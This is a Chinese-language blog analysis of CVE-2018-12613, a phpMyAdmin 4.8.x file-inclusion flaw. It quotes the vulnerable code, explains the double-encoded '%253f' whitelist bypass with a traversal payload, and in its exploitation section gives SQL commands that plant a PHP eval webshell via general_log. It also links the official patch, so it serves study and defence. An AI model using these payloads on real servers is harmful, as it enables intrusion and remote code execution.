CVE-2018-12613 phpMyAdmin后台文件包含分析

前言

其实也没什么好说的,总感觉没个前言不完整,2333~

漏洞分析

该漏洞影响phpMyAdmin 4.8.0-4.8.1版本,本次分析使用4.8.1。

漏洞的入口在index.php 54-63行,疑似文件包含,看看有没有搞头。

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里有5个条件,满足之后就会包含我们穿过来的文件。前4个条件都比较好理解非空、必须为字符串、不能是index开头,不能是黑名单中的文件名(import.php、export.php),重点看最后一个。

libraries/classes/Core.php

public static function checkPageValidity(&$page, array $whitelist = [])
{
    if (empty($whitelist)) {
        $whitelist = self::$goto_whitelist;
    }
    if (! isset($page) || !is_string($page)) {
        return false;
    }

    if (in_array($page, $whitelist)) {
        return true;
    }

    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    ); //按?分割字符串,取前半部分
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    ); //按?分割字符串,取前半部分
    if (in_array($_page, $whitelist)) {
        return true;
    }

    return false;
}

前面是一些简单的判断,然后文件名必须在白名单里。接下来按问号分割字符串,目的是适应target=view.php?id=1这种情况,分割后$_page仍然是view.php。

漏洞就出现在下面urldecode这里,如果我们让db_sql.php%253f/../../../../test.txt,其中db_sql.php是白名单中的文件名,%253f?的双重urlencode,php会自动进行一次urldecode,第一次分割的时候是这样的:

mark

当然下面的判断也不会生效,继续向下,第二次分割之前会urldecode一次。

mark

分割之后$_page='db_sql.php',符合条件,函数返回了true。

现在5个条件都符合了,php会将db_sql.php%253f/当成一个目录,所以需要多加一个../来包含我们可控的文件。

mark

漏洞利用

由于漏洞出现在phpmyadmin后台,所以利用还是有一定的局限性,这里有几个利用方式:

  1. 利用导入功能,上传一个有一句话的文件

phpmyadmin默认没有设置上传目录,通过操作临时文件来导入数据,执行结束后临时文件就被删除了。

/**
 * Directory for uploaded files that can be executed by phpMyAdmin.
 * For example './upload'. Leave empty for no upload directory support.
 * Use %u for username inclusion.
 *
 * @global string $cfg['UploadDir']
 */
$cfg['UploadDir'] = '';
  1. 既然已经进入后台,那么可以创建一个数据库或者修改数据插入一句话,然后包含对应的文件。

mark

  1. 开启通过general_log和general_log_file来获取webshell

    set global general_log='on';
    SET global general_log_file='F:/cmd.php';
    SELECT '<?php eval($_POST[1]);?>';
  2. 首先执行select '<?php phpinfo();?>',然后包含session文件。

漏洞防御

https://github.com/phpmyadmin/phpmyadmin/commit/7662d02939fb3cf6f0d9ec32ac664401dcfe7490

这是官方的补丁,增加了一个$include参数,在index.php中使用checkPageValidity函数时直接就放回false了。

标签: php, phpmyadmin